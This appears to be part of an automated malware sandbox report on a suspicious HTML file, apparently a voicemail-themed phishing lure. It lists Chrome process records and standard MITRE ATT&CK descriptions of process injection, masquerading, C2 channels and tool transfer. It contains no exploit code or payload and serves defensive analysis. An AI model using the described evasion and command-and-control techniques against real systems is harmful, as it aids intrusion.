Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1916,i,6179367452163744603,9659140585519175776,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1984 /prefetch:3
Imagebase:	0x7ff617090000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	7
Start time:	11:22:00
Start date:	20/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1916,i,6179367452163744603,9659140585519175776,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5032 /prefetch:8
Imagebase:	0x7ff617090000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	11:22:03
Start date:	20/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\#U25baPlay_VM-Now(John.moorer)ATTT0003.html"
Imagebase:	0x7ff617090000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre